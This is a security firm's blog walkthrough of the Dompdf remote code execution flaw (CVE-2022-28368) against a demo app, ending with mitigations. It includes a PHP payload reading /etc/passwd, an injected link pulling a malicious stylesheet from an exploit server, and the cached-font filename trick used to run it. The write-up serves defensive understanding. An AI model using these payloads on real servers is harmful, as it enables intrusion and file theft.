Exploiting RCE Vulnerability in Dompdf

Introduction

One of the options for converting or downloading the content from an HTML page of a web application is PDF. This necessitates the conversion of an HTML page into a PDF file. This conversion can be easily done by the browsers which let us print or save the HTML page to a PDF document. However, there are various scenarios where conversion of HTML content to PDF is not feasible by the browsers. For example, generating a PDF document from the HTML and CSS code or from the HTML content inside a frame of a web application. Additionally, there can be other functionality requirements that require HTML to PDF conversion outside of web browsers. This is where HTML to PDF conversion libraries come into the picture, such as Dompdf. It is one of the popular PHP libraries used to convert HTML content to PDF files. According to Dompdf's composer page, as of the time of writing this blog, it had around 54,951,888 installs.

 

It is critical for application security practitioners, developers, and other stakeholders to keep an eye on vulnerabilities affecting such a commonly used PHP library. In March 2022, security researchers from Positive Security identified a remote code execution (RCE) vulnerability in Dompdf. It was identified that Dompdf version <=1.2.0 is prone to remote code execution, which is mapped to CVE-2022-28368. In this blog, we will discuss this vulnerability in detail through a working demo. Understanding the fundamentals of the vulnerability and detailed steps to exploit it will be helpful in identifying, reproducing, and fixing it.

 

 

Exploiting Dompdf

Dompdf version <= 1.2.0 is prone to remote code execution (RCE) when the "$isRemoteEnabled" configuration parameter is set to "true" and on version <= 0.8.5, it is prone to RCE irrespective of this configuration. Parameter "$isRemoteEnabled" allows Dompdf to access remote sites for images and CSS files as required. This feature is exploited to inject malicious CSS files into Dompdf and trick it to execute the malicious PHP payload.

 

To demonstrate how Dompdf can be exploited, I created a sample PHP website which will be referred as "Demo application" throughout this blog. The Demo application has the Dompdf library and an index.php page in the root directory.

 

Exploiting RCE _image001.png

Figure 1 – Demo application

 

The demo application is a simple one-page website that converts an HTML page to a PDF file using Dompdf . It takes the HTML code as an input and outputs the formatted PDF. Below mentioned snippet shows the source code of the “index.php” file.

 

Exploiting RCE _image002.jpg

Figure 2 - Source code of the Demo application

 

I also created an exploit server which has a malicious CSS file and a malicious font file "DejaVuSerif.php" hosted in the root directory. This is the malicious CSS file which will be referenced by the Demo application.

 

Exploiting RCE _image003.png

Figure 3 - Malicious CSS and font file hosted in the exploit server

 

The font-face CSS rule defined in the malicious.css file points to the malicious font file “DejaVuSerif.php”.

 

Exploiting RCE _image004.png

Figure 4 - Font-face CSS rule

 

The font file "DejaVuSerif.php" is created by changing the extension of the original "DejaVuSerif.ttf" file and adding a malicious payload at the end of the file. While processing the font file, the “php-font-lib” library in dompdf does not validate the extension of the font file, it only validates the file headers for a .ttf font file. File "DejaVuSerif.php" has a valid header of .ttf font file, a php payload and a modified extension ".php". The below snippet shows an inserted php payload at the end of the DejaVuSerif font file.

 

PHP payload : <?php system(‘cat /etc/passwd’); ?>

 

Exploiting RCE _image005.png

Figure 5 - The malicious DejaVuSerif font file contains a php payload at the end of the file

 

Run the demo application using PHP's built-in web server.

 

Exploiting RCE _image006.png

Figure 6 – Run the Demo application

 

From a second command line, run the exploit server using PHP's built-in web server.

 

Exploiting RCE _image007.png

Figure 7 – Run the exploit server

 

The demo application is running, and the landing page of the application can be converted to a PDF file by passing the "pdf" parameter to the “index.php” page.

 

URL : http://[demo app ip]:7780/index.php

 

Exploiting RCE _image008.png

Figure 8- Landing page of the Demo application

 

The parameter "pdf" is passed to the index.php page of the demo application in the URL. This causes the application to convert the HTML page to a PDF file using Dompdf library.

 

URL : http://[demo app ip]:7780/index.php?pdf

 

Exploiting RCE _image009.png

Figure 9 – HTML page converted to PDF

 

In real-world testing engagements, when we encounter unique functionalities in web applications, it is critical to fingerprint as much of the application's tech stack as possible, including hosting server components and any libraries that are in play. In this case, we would download the PDF and extract the metadata of the document to inspect this information. Here we leverage the tool “Exiftool” to extract the PDF metadata. The extracted metadata clearly shows the library and its version in use, which is Dompdf 1.2.0.

 

Exploiting RCE _image010.png

Figure 10 – Extract metadata using Exiftool

 

Now let us create a PDF file using the font style defined in a malicious CSS file hosted on the remote site. There are different ways to reference a remote CSS file when creating a PDF file. It depends on how it is coded in the application. In our case, we are referencing it by passing it as a parameter to the index.php page. Additionally, if "$isRemoteEnabled" parameter is set to "true", a CSS file from the remote site will be fetched and rendered. In a real-world situation, if the application sends the HTTP request to the exploit server requesting the malicious CSS file, it would mean that "$isRemoteEnabled" parameter is set to "true".

 

URL : http://[demo app ip]:7780/index.php?pdf&heading=<link rel=stylesheet href='http://[exploit server ip]:7781/malicious.css'>

 

Exploiting RCE _image011.png

Figure 11 - Referencing CSS file hosted on the remote site

 

The Demo application receives an HTTP GET request that references the malicious CSS file hosted on the exploit server.

 

Exploiting RCE _image013.png

Figure 12 - The Demo application server receives the request

 

The Demo application server processes the HTTP request and initiates a new HTTP request to the exploit server requesting malicious.css file which in turn calls the malicious font file "DejaVuSerif.php" as per the font face CSS rule. This confirms that the "$isRemoteEnabled" parameter is set to “true” in the Dompdf’s configuration in the Demo application.

 

Exploiting RCE _image014.png

Figure 13 – Exploit server receives the request for malicious CSS file from the application server

 

When the font style defined in a remote CSS file is loaded and processed, it makes a second call to the malicious font file "DejavuSerif.php", which has a malicious payload. Dompdf executes the malicious payload in the “DejaVuSerif.php” font file and caches the file locally in the /libs/fonts sub-directory, and adds a corresponding entry in dompdf_font_family_cache.php. The cached font file has font’s data and the output of the malicious PHP command.

 

Exploiting RCE _image015.png

Figure 14 - External font file is cached in the fonts directory

 

Exploiting RCE _image016.png

Figure 15 - Cached font file with font’s data and output of the executed php command

 

Font file entry added in the dompdf_font_family_cache.php

 

Exploiting RCE _image017.png

Figure 16 - External font entry in dompdf_font_family_cache.php file

 

The filename of the cached font file is deterministic and can be derived easily. It comprises of the fontname, style and md5 hash of the remote URL.

 

Filename = fontname+_+style+_+md5 hash+.+file extension

 

Which in this case is:

 

“dejavuserif”+_+”normal”+_+ 6acd2ea0820470d1cd5a983befed0cdc+.php

Md5 hash of “http://[exploit server ip]:7781/DejaVuSerif.php” is 6acd2ea0820470d1cd5a983befed0cdc

Hence, our filename is “dejavuserif_normal_6acd2ea0820470d1cd5a983befed0cdc.php”

 

Exploiting RCE _image018.png

Figure 17 - A MD5 hash of the URL

 

If dompdf is installed in a web-accessible directory, then an adversary can access the cached font file under the /libs/fonts directory and view the output of the executed command. The below mentioned snippet shows the output of the “cat /etc/passwd” command.

 

URL : http://[demo app ip]:7780/dompdf/lib/fonts/dejavuserif_normal_6acd2ea0820470d1cd5a983befed0cdc.php

 

Exploiting RCE _image019.png

Figure 18 - Accessing cached font file under /lib/fonts directory

 

 

Mitigation

 

  • Use the most updated version of dompdf. As of writing this blog, it is dompdf version 2.0.0.
  • If dompdf version <=1.2.0 is in use and it cannot be updated, then ensure the "isRemoteEnabled" configuration parameter is disabled, until there is a valid use case for it.
  • For dompdf version <=0.8.5, consider updating it. If an update is not possible, implement a technical control within the application to restrict external referencing of the CSS files.
  • Validate the user’s input, especially if remote CSS files are fetched by the application. Sanitize or quarantine user’s input before passing it to dompdf.
  • Though it is not a protection against RCE in dompdf, as a best practice, make sure that dompdf is not installed in a web-accessible directory.

 

 

References

 

mayank_singh_headshot.jpg
By:
Mayank Singh
Practice Manager | Optiv
Mayank has over 12 years of experience in consulting and enterprise environments. His experience ranges from small businesses to large corporations in a multitude of industries. He’s a Subject matter expert in the design and implementation of security program development, vulnerability assessment and management, conducting security assessment for web applications, and managing regulatory compliance. His areas of expertise include vulnerability assessment and management, penetration testing, threat modeling, regulatory compliance, and attack surface management.

Prior to joining Optiv, Singh was the Head of Data Security for a Dallas-based North American leading prepays solution provider for utilities. He was responsible for running and managing their security program, regulatory compliance, and conducting security assessments for their products and environments.

Singh earned a bachelor’s degree in computer science from the University of Rajiv Gandhi Proudyogiki Vishwavidyalaya and post-graduation in software technology from the Center for Development of Advanced Computing (CDAC).

Optiv Security: Secure greatness.®

Optiv is the cyber advisory and solutions leader, delivering strategic and technical expertise to nearly 6,000 companies across every major industry. We partner with organizations to advise, deploy and operate complete cybersecurity programs from strategy and managed security services to risk, integration and technology solutions. With clients at the center of our unmatched ecosystem of people, products, partners and programs, we accelerate business progress like no other company can. At Optiv, we manage cyber risk so you can secure your full potential. For more information, visit www.optiv.com.

How Can We Help?

Let us know what you need, and we will have an Optiv professional contact you shortly.